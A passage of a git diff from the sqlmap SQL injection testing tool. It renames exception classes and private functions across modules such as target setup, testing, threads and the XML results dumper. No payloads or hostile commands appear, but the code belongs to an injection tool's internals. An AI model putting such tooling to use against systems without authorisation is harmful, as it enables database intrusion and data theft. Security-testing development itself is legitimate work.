r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, conf.data) conf.data = re.sub(r'("[^"]+"\s*:\s*)(-?\d[\d\.]*\b)', r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, conf.data) @@ -103,7 +103,7 @@ def __setRequestParams(): message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = re.sub(r"(<([^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR, conf.data) kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML @@ -113,7 +113,7 @@ def __setRequestParams(): message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = re.sub(r"(?si)(Content-Disposition.+?)((\r)?\n--)", r"\g<1>%s\g<2>" % CUSTOM_INJECTION_MARK_CHAR, conf.data) kb.postHint = POST_HINT.MULTIPART @@ -145,7 +145,7 @@ def __setRequestParams(): conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR) kb.processUserMarks = True elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data)): if CUSTOM_INJECTION_MARK_CHAR in (value or ""): @@ -155,7 +155,7 @@ def __setRequestParams(): message += "'%s'. Do you want to process it? [Y/n/q] " % _[place] test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: kb.processUserMarks = not test or test[0] not in ("n", "N") @@ -236,14 +236,14 @@ def __setRequestParams(): if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " errMsg += "parameter, neither an User-Agent, Referer or Host header value" - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg elif not testableParameters: errMsg = "all testable parameters you provided are not present " errMsg += "within the GET, POST and Cookie parameters" - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg -def __setHashDB(): +def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. """ @@ -258,11 +258,11 @@ def __setHashDB(): logger.info("flushing session file") except OSError, msg: errMsg = "unable to flush the session file (%s)" % msg - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg conf.hashDB = HashDB(conf.hashDBFile) -def __resumeHashDBValues(): +def _resumeHashDBValues(): """ Resume stored data values from HashDB """ @@ -287,10 +287,10 @@ def __resumeHashDBValues(): if injection not in kb.injections: kb.injections.append(injection) - __resumeDBMS() - __resumeOS() + _resumeDBMS() + _resumeOS() -def __resumeDBMS(): +def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ @@ -335,7 +335,7 @@ def __resumeDBMS(): Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) -def __resumeOS(): +def _resumeOS(): """ Resume stored OS information from HashDB """ @@ -367,7 +367,7 @@ def __resumeOS(): Backend.setOs(conf.os) -def __setResultsFile(): +def _setResultsFile(): """ Create results file for storing results of running in a multiple target mode. @@ -383,7 +383,7 @@ def __setResultsFile(): logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) -def __createFilesDir(): +def _createFilesDir(): """ Create the file directory. """ @@ -396,7 +396,7 @@ def __createFilesDir(): if not os.path.isdir(conf.filePath): os.makedirs(conf.filePath, 0755) -def __createDumpDir(): +def _createDumpDir(): """ Create the dump directory. """ @@ -409,7 +409,7 @@ def __createDumpDir(): if not os.path.isdir(conf.dumpPath): os.makedirs(conf.dumpPath, 0755) -def __configureDumper(): +def _configureDumper(): if hasattr(conf, 'xmlFile') and conf.xmlFile: conf.dumper = xmldumper else: @@ -417,7 +417,7 @@ def __configureDumper(): conf.dumper.setOutputFile() -def __createTargetDirs(): +def _createTargetDirs(): """ Create the output directory. """ @@ -459,13 +459,13 @@ def __createTargetDirs(): errMsg = "something went wrong while trying " errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, msg) - raise sqlmapMissingPrivileges, errMsg + raise SqlmapMissingPrivileges, errMsg - __createDumpDir() - __createFilesDir() - __configureDumper() + _createDumpDir() + _createFilesDir() + _configureDumper() -def __restoreCmdLineOptions(): +def _restoreCmdLineOptions(): """ Restore command line options that could be possibly changed during the testing of previous target. @@ -490,14 +490,14 @@ def initTargetEnv(): conf.parameters = {} conf.hashDBFile = None - __setKnowledgeBaseAttributes(False) - __restoreCmdLineOptions() - __setDBMS() + _setKnowledgeBaseAttributes(False) + _restoreCmdLineOptions() + _setDBMS() def setupTargetEnv(): - __createTargetDirs() - __setRequestParams() - __setHashDB() - __resumeHashDBValues() - __setResultsFile() - __setAuthCred() + _createTargetDirs() + _setRequestParams() + _setHashDB() + _resumeHashDBValues() + _setResultsFile() + _setAuthCred() diff --git a/lib/core/testing.py b/lib/core/testing.py index 3f72eead9..a1e684146 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -9,6 +9,7 @@ import doctest import os import re import shutil +import string import sys import tempfile import time @@ -22,7 +23,7 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.option import init -from lib.core.option import __setVerbosity +from lib.core.option import _setVerbosity from lib.core.optiondict import optDict from lib.parse.cmdline import cmdLineParser @@ -45,13 +46,36 @@ def smokeTest(): continue for ifile in files: - if os.path.splitext(ifile)[1].lower() == ".py" and ifile != "__init__.py": + if os.path.splitext(ifile)[1].lower() == ".py": + content = None + with open(os.path.join(root, ifile), "r+b") as f: + content = f.read() + active = content + active = re.sub(r"(?s)\"\"\".+?\"\"\"", "", active) + active = re.sub(r"\".+?\"", "", active) + active = re.sub(r"\'.+?\'", "", active) + active = re.sub(r"#.+", "", active) + for ss in re.findall(r"\b_*?[a-z]+[A-Z].*?\b", active): + original = ss + if ss.startswith("sqlmap") and any(_ in ss.lower() for _ in ("exception", "sqlmapmissing", "sqlmapundefinedmethod")): + ss = "S" + ss[1:] + if ss.startswith("_"): + ss = "_" + ss.lstrip("_") + content = content.replace(original, ss) + if content: + with open(os.path.join(root, ifile), "w+b") as f: + f.write(content) path = os.path.join(root, os.path.splitext(ifile)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') try: __import__(path) module = sys.modules[path] + #for name in dir(module): + #_ = getattr(module, name) + #if type(_) == type(lambda x: x): + #if re.match(r"\b_*?[a-z]+[A-Z]", name): + #print name except Exception, msg: retVal = False dataToStdout("\r") @@ -66,7 +90,7 @@ def smokeTest(): count += 1 status = '%d/%d (%d%s) ' % (count, length, round(100.0*count/length), '%') - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + #dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) clearConsoleLine() if retVal: @@ -171,7 +195,7 @@ def initCase(switches=None): cmdLineOptions.__dict__[key] = value init(cmdLineOptions, True) - __setVerbosity() + _setVerbosity() def cleanCase(): shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) @@ -179,7 +203,7 @@ def cleanCase(): paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") conf.verbose = 1 - __setVerbosity() + _setVerbosity() def runCase(switches=None, log=None): retVal = True @@ -211,4 +235,4 @@ def replaceVars(item, vars_): for var in re.findall("\$\{([^}]+)\}", item): if var in vars_: retVal = retVal.replace("${%s}" % var, vars_[var]) - return retVal + return retVal \ No newline at end of file diff --git a/lib/core/threads.py b/lib/core/threads.py index 88a35109a..387da283e 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -17,9 +17,9 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapThreadException -from lib.core.exception import sqlmapValueException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION @@ -166,12 +166,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio pass except KeyboardInterrupt: - raise sqlmapThreadException, "user aborted (Ctrl+C was pressed multiple times)" + raise SqlmapThreadException, "user aborted (Ctrl+C was pressed multiple times)" if forwardException: raise - except (sqlmapConnectionException, sqlmapValueException), errMsg: + except (SqlmapConnectionException, SqlmapValueException), errMsg: print kb.threadException = True logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 7e86d1891..54965a697 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission import os import zipfile -from lib.core.exception import sqlmapDataException +from lib.core.exception import SqlmapDataException from lib.core.settings import UNICODE_ENCODING class Wordlist(object): @@ -42,7 +42,7 @@ class Wordlist(object): _ = zipfile.ZipFile(current, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % current - raise sqlmapDataException, errMsg + raise SqlmapDataException, errMsg self.fp = _.open(_.namelist()[0]) else: self.fp = open(current, 'r') diff --git a/lib/core/xmldump.py b/lib/core/xmldump.py index e97db4eab..83525c07b 100644 --- a/lib/core/xmldump.py +++ b/lib/core/xmldump.py @@ -11,7 +11,7 @@ from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapFilePathException +from lib.core.exception import SqlmapFilePathException from lib.core.settings import UNICODE_ENCODING from thirdparty.prettyprint import prettyprint from xml.dom.minidom import Document @@ -81,12 +81,12 @@ class XMLDump(object): ''' def __init__(self): - self.__outputFile = None - self.__outputFP = None + self._outputFile = None + self._outputFP = None self.__root = None self.__doc = Document() - def __addToRoot(self, element): + def _addToRoot(self, element): ''' Adds element to the root element ''' @@ -97,15 +97,15 @@ class XMLDump(object): Writes the data into the file ''' if n: - self.__outputFP.write("%s\n" % data) + self._outputFP.write("%s\n" % data) else: - self.__outputFP.write("%s " % data) + self._outputFP.write("%s " % data) - self.__outputFP.flush() + self._outputFP.flush() kb.dataOutputFlag = True - def __getRootChild(self, elemName): + def _getRootChild(self, elemName): ''' Returns the child of the root with the described name ''' @@ -115,7 +115,7 @@ class XMLDump(object): return elements - def __createTextNode(self, data): + def _createTextNode(self, data): ''' Creates a text node with utf8 data inside. The text is escaped to an fit the xml text Format. @@ -126,7 +126,7 @@ class XMLDump(object): escaped_data = saxutils.escape(data, ENTITIES) return self.__doc.createTextNode(escaped_data) - def __createAttribute(self, attrName, attrValue): + def _createAttribute(self, attrName, attrValue): ''' Creates an attribute node with utf8 data inside. The text is escaped to an fit the xml text Format. @@ -146,19 +146,19 @@ class XMLDump(object): self.lister(header, data, sort) return - messagesElem = self.__getRootChild(MESSAGES_ELEM_NAME) + messagesElem = self._getRootChild(MESSAGES_ELEM_NAME) if (not(messagesElem)): messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME) - self.__addToRoot(messagesElem) + self._addToRoot(messagesElem) if data: - data = self.__formatString(data) + data = self._formatString(data) else: data = "" elem = self.__doc.createElement(MESSAGE_ELEM) - elem.setAttributeNode(self.__createAttribute(TYPE_ATTR, header)) - elem.appendChild(self.__createTextNode(data)) + elem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) + elem.appendChild(self._createTextNode(data)) messagesElem.appendChild(elem) def lister(self, header, elements, sort=True): @@ -166,7 +166,7 @@ class XMLDump(object): Adds information formatted as list element ''' lstElem = self.__doc.createElement(LST_ELEM_NAME) - lstElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, header)) + lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) if elements: if sort: try: @@ -180,19 +180,19 @@ class XMLDump(object): memberElem = self.__doc.createElement(MEMBER_ELEM) lstElem.appendChild(memberElem) if isinstance(element, basestring): - memberElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, "string")) - memberElem.appendChild(self.__createTextNode(element)) + memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string")) + memberElem.appendChild(self._createTextNode(element)) elif isinstance(element, (list, tuple, set)): - memberElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, "list")) + memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list")) for e in element: memberElemStr = self.__doc.createElement(MEMBER_ELEM) - memberElemStr.setAttributeNode(self.__createAttribute(TYPE_ATTR, "string")) - memberElemStr.appendChild(self.__createTextNode(getUnicode(e))) + memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string")) + memberElemStr.appendChild(self._createTextNode(getUnicode(e))) memberElem.appendChild(memberElemStr) - listsElem = self.__getRootChild(LSTS_ELEM_NAME) + listsElem = self._getRootChild(LSTS_ELEM_NAME) if not(listsElem): listsElem = self.__doc.createElement(LSTS_ELEM_NAME) - self.__addToRoot(listsElem) + self._addToRoot(listsElem) listsElem.appendChild(lstElem) def technic(self, technicType, data): @@ -200,13 +200,13 @@ class XMLDump(object): Adds information about the technic used to extract data from the db ''' technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME) - technicElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, technicType)) - textNode = self.__createTextNode(data) + technicElem.setAttributeNode(self._createAttribute(TYPE_ATTR, technicType)) + textNode = self._createTextNode(data) technicElem.appendChild(textNode) - technicsElem = self.__getRootChild(TECHNICS_ELEM_NAME) + technicsElem = self._getRootChild(TECHNICS_ELEM_NAME) if not(technicsElem): technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME) - self.__addToRoot(technicsElem) + self._addToRoot(technicsElem) technicsElem.appendChild(technicElem) def banner(self, data): @@ -215,34 +215,34 @@ class XMLDump(object): The banner contains information about the type and the version of the database. ''' bannerElem = self.__doc.createElement(BANNER_ELEM_NAME) - bannerElem.appendChild(self.__createTextNode(data)) - self.__addToRoot(bannerElem) + bannerElem.appendChild(self._createTextNode(data)) + self._addToRoot(bannerElem) def currentUser(self, data): ''' Adds information about the current database user to the xml ''' currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME) - textNode = self.__createTextNode(data) + textNode = self._createTextNode(data) currentUserElem.appendChild(textNode) - self.__addToRoot(currentUserElem) + self._addToRoot(currentUserElem) def currentDb(self, data): ''' Adds information about the current database is use to the xml ''' currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME) - textNode = self.__createTextNode(data) + textNode = self._createTextNode(data) currentDBElem.appendChild(textNode) - self.__addToRoot(currentDBElem) + self._addToRoot(currentDBElem) def dba(self, isDBA): ''' Adds information to the xml that indicates whether the user has DBA privileges ''' isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME) - isDBAElem.setAttributeNode(self.__createAttribute(VALUE_ATTR, getUnicode(isDBA))) - self.__addToRoot(isDBAElem) + isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA))) + self._addToRoot(isDBAElem) def users(self, users): ''' @@ -255,8 +255,8 @@ class XMLDump(object): for user in users: userElem = self.__doc.createElement(DB_USER_ELEM_NAME) usersElem.appendChild(userElem) - userElem.appendChild(self.__createTextNode(user)) - self.__addToRoot(usersElem) + userElem.appendChild(self._createTextNode(user)) + self._addToRoot(usersElem) def dbs(self, dbs): ''' @@ -267,25 +267,25 @@ class XMLDump(object): for db in dbs: dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME) dbsElem.appendChild(dbElem) - dbElem.appendChild(self.__createTextNode(db)) - self.__addToRoot(dbsElem) + dbElem.appendChild(self._createTextNode(db)) + self._addToRoot(dbsElem) def userSettings(self, header, userSettings, subHeader): ''' Adds information about the user's settings to the xml. The information can be user's passwords, privileges and etc.. ''' - self.__areAdmins = set() - userSettingsElem = self.__getRootChild(USER_SETTINGS_ELEM_NAME) + self._areAdmins = set() + userSettingsElem = self._getRootChild(USER_SETTINGS_ELEM_NAME) if (not(userSettingsElem)): userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME) - self.__addToRoot(userSettingsElem) + self._addToRoot(userSettingsElem) userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME) - userSettingElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, header)) + userSettingElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) if isinstance(userSettings, (tuple, list, set)): - self.__areAdmins = userSettings[1] + self._areAdmins = userSettings[1] userSettings = userSettings[0] users = userSettings.keys() @@ -294,10 +294,10 @@ class XMLDump(object): for user in users: userElem = self.__doc.createElement(USER_ELEM_NAME) userSettingElem.appendChild(userElem) - if user in self.__areAdmins: - userElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, ADMIN_USER)) + if user in self._areAdmins: + userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, ADMIN_USER)) else: - userElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, REGULAR_USER)) + userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, REGULAR_USER)) settings = userSettings[user] @@ -305,8 +305,8 @@ class XMLDump(object): for setting in settings: settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME) - settingsElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, subHeader)) - settingTextNode = self.__createTextNode(setting) + settingsElem.setAttributeNode(self._createAttribute(TYPE_ATTR, subHeader)) + settingTextNode = self._createTextNode(setting) settingsElem.appendChild(settingTextNode) userElem.appendChild(settingsElem) userSettingsElem.appendChild(userSettingElem) @@ -324,20 +324,20 @@ class XMLDump(object): for db, tables in dbTables.items(): tables.sort(key=lambda x: x.lower()) dbElem = self.__doc.createElement(DATABASE_ELEM_NAME) - dbElem.setAttributeNode(self.__createAttribute(NAME_ATTR, db)) + dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db)) dbTablesElem.appendChild(dbElem) for table in tables: tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME) - tableElem.appendChild(self.__createTextNode(table)) + tableElem.appendChild(self._createTextNode(table)) dbElem.appendChild(tableElem) - self.__addToRoot(dbTablesElem) + self._addToRoot(dbTablesElem) def dbTableColumns(self, tableColumns): ''' Adds information about the columns of the existing tables to the xml ''' - columnsElem = self.__getRootChild(COLUMNS_ELEM_NAME) + columnsElem = self._getRootChild(COLUMNS_ELEM_NAME) if not(columnsElem): columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME) @@ -345,12 +345,12 @@ class XMLDump(object): if not db: db = DEFAULT_DB dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM) - dbElem.setAttributeNode(self.__createAttribute(NAME_ATTR, db)) + dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db)) columnsElem.appendChild(dbElem) for table, columns in tables.items(): tableElem = self.__doc.createElement(TABLE_ELEM_NAME) - tableElem.setAttributeNode(self.__createAttribute(NAME_ATTR, table)) + tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table)) colList = columns.keys() colList.sort(key=lambda x: x.lower()) @@ -359,13 +359,13 @@ class XMLDump(object): colType = columns[column] colElem = self.__doc.createElement(COLUMN_ELEM_NAME) if colType is not None: - colElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, colType)) + colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, colType)) else: - colElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE)) - colElem.appendChild(self.__createTextNode(column)) + colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE)) + colElem.appendChild(self._createTextNode(column)) tableElem.appendChild(colElem) - self.__addToRoot(columnsElem) + self._addToRoot(columnsElem) def dbTableValues(self, tableValues): ''' @@ -383,8 +383,8 @@ class XMLDump(object): columns = tableValues.keys() columns.sort(key=lambda x: x.lower()) - tableElem.setAttributeNode(self.__createAttribute(DB_ATTR, db)) - tableElem.setAttributeNode(self.__createAttribute(NAME_ATTR, table)) + tableElem.setAttributeNode(self._createAttribute(DB_ATTR, db)) + tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table)) for i in range(count): rowElem = self.__doc.createElement(ROW_ELEM_NAME) @@ -398,14 +398,14 @@ class XMLDump(object): value = "NULL" cellElem = self.__doc.createElement(CELL_ELEM_NAME) - cellElem.setAttributeNode(self.__createAttribute(COLUMN_ATTR, column)) - cellElem.appendChild(self.__createTextNode(value)) + cellElem.setAttributeNode(self._createAttribute(COLUMN_ATTR, column)) + cellElem.appendChild(self._createTextNode(value)) rowElem.appendChild(cellElem) - dbValuesElem = self.__getRootChild(DB_VALUES_ELEM) + dbValuesElem = self._getRootChild(DB_VALUES_ELEM) if (not(dbValuesElem)): dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM) - self.__addToRoot(dbValuesElem) + self._addToRoot(dbValuesElem) dbValuesElem.appendChild(tableElem) @@ -440,12 +440,12 @@ class XMLDump(object): The query details are the query itself and it's results. ''' queryElem = self.__doc.createElement(QUERY_ELEM_NAME) - queryElem.setAttributeNode(self.__createAttribute(VALUE_ATTR, query)) - queryElem.appendChild(self.__createTextNode(queryRes)) - queriesElem = self.__getRootChild(QUERIES_ELEM_NAME) + queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query)) + queryElem.appendChild(self._createTextNode(queryRes)) + queriesElem = self._getRootChild(QUERIES_ELEM_NAME) if (not(queriesElem)): queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME) - self.__addToRoot(queriesElem) + self._addToRoot(queriesElem) queriesElem.appendChild(queryElem) def registerValue(self, registerData): @@ -453,11 +453,11 @@ class XMLDump(object): Adds information about an extracted registry key to the xml ''' registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME) - registerElem.appendChild(self.__createTextNode(registerData)) - registriesElem = self.__getRootChild(REGISTERY_ENTRIES_ELEM_NAME) + registerElem.appendChild(self._createTextNode(registerData)) + registriesElem = self._getRootChild(REGISTERY_ENTRIES_ELEM_NAME) if (not(registriesElem)): registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME) - self.__addToRoot(registriesElem) + self._addToRoot(registriesElem) registriesElem.appendChild(registerElem) def rFile(self, filePath, data): @@ -465,9 +465,9 @@ class XMLDump(object): Adds an extracted file's content to the xml ''' fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME) - fileContentElem.setAttributeNode(self.__createAttribute(NAME_ATTR, filePath)) - fileContentElem.appendChild(self.__createTextNode(data)) - self.__addToRoot(fileContentElem) + fileContentElem.setAttributeNode(self._createAttribute(NAME_ATTR, filePath)) + fileContentElem.appendChild(self._createTextNode(data)) + self._addToRoot(fileContentElem) def setOutputFile(self): ''' @@ -475,28 +475,28 @@ class XMLDump(object): ''' if (conf.xmlFile): try: - self.__outputFile = conf.xmlFile + self._outputFile = conf.xmlFile self.__root = None - if os.path.exists(self.__outputFile): + if os.path.exists(self._outputFile): try: - self.__doc = xml.dom.minidom.parse(self.__outputFile) + self.__doc = xml.dom.minidom.parse(self._outputFile) self.__root = self.__doc.childNodes[0] except ExpatError: self.__doc = Document() - self.__outputFP = codecs.open(self.__outputFile, "w+", UNICODE_ENCODING) + self._outputFP = codecs.open(self._outputFile, "w+", UNICODE_ENCODING) if self.__root is None: self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME) - self.__root.setAttributeNode(self.__createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR)) - self.__root.setAttributeNode(self.__createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME)) + self.__root.setAttributeNode(self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR)) + self.__root.setAttributeNode(self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME)) self.__doc.appendChild(self.__root) except IOError: - raise sqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile) + raise SqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile) def getOutputFile(self): - return self.__outputFile + return self._outputFile def finish(self, resultStatus, resultMsg=""): ''' @@ -505,24 +505,24 @@ class XMLDump(object): 2. Writes the xml to the file 3. Closes the xml file ''' - if ((self.__outputFP is not None) and not(self.__outputFP.closed)): + if ((self._outputFP is not None) and not(self._outputFP.closed)): statusElem = self.__doc.createElement(STATUS_ELEM_NAME) - statusElem.setAttributeNode(self.__createAttribute(SUCESS_ATTR, getUnicode(resultStatus))) + statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus))) if not resultStatus: errorElem = self.__doc.createElement(ERROR_ELEM_NAME) if isinstance(resultMsg, Exception): - errorElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, type(resultMsg).__name__)) + errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__)) else: - errorElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE)) + errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE)) - errorElem.appendChild(self.__createTextNode(getUnicode(resultMsg))) + errorElem.appendChild(self._createTextNode(getUnicode(resultMsg))) statusElem.appendChild(errorElem) - self.__addToRoot(statusElem) + self._addToRoot(statusElem) self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING)) - self.__outputFP.close() + self._outputFP.close() def closeDumper(status, msg=""): diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 1ea6e0066..8b2c5955b 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -14,8 +14,8 @@ from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict from lib.core.settings import UNICODE_ENCODING @@ -66,11 +66,11 @@ def configFileParser(configFile): config.readfp(configFP) except MissingSectionHeaderError: errMsg = "you have provided an invalid configuration file" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg condition = not config.has_option("Target", "url") condition &= not config.has_option("Target", "logFile") @@ -82,7 +82,7 @@ def configFileParser(configFile): if condition: errMsg = "missing a mandatory option in the configuration file " errMsg += "(url, logFile, bulkFile, googleDork, requestFile or wizard)" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg for family, optionData in optDict.items(): for option, datatype in optionData.items(): diff --git a/lib/request/basic.py b/lib/request/basic.py index 0238e920c..153c4e60f 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -25,7 +25,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import HTTPHEADER from lib.core.enums import PLACE -from lib.core.exception import sqlmapCompressionException +from lib.core.exception import SqlmapCompressionException from lib.core.htmlentities import htmlEntities from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX @@ -211,7 +211,7 @@ def decodePage(page, contentEncoding, contentType): singleTimeWarnMessage(warnMsg) kb.pageCompress = False - raise sqlmapCompressionException + raise SqlmapCompressionException if not conf.charset: httpCharset, metaCharset = None, None diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 1081d23a1..a96e04909 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -16,7 +16,7 @@ from lib.core.common import wasLastRequestHTTPError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX @@ -92,7 +92,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): errMsg = "problem occured while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg ratio = 1. * pageLength / len(seqMatcher.a) diff --git a/lib/request/connect.py b/lib/request/connect.py index 6221cec76..4d68f54fa 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -50,10 +50,10 @@ from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION -from lib.core.exception import sqlmapCompressionException -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapValueException +from lib.core.exception import SqlmapCompressionException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapValueException from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE @@ -87,11 +87,11 @@ class Connect(object): """ @staticmethod - def __getPageProxy(**kwargs): + def _getPageProxy(**kwargs): return Connect.getPage(**kwargs) @staticmethod - def __retryProxy(**kwargs): + def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 @@ -129,10 +129,10 @@ class Connect(object): time.sleep(1) kwargs['retrying'] = True - return Connect.__getPageProxy(**kwargs) + return Connect._getPageProxy(**kwargs) @staticmethod - def 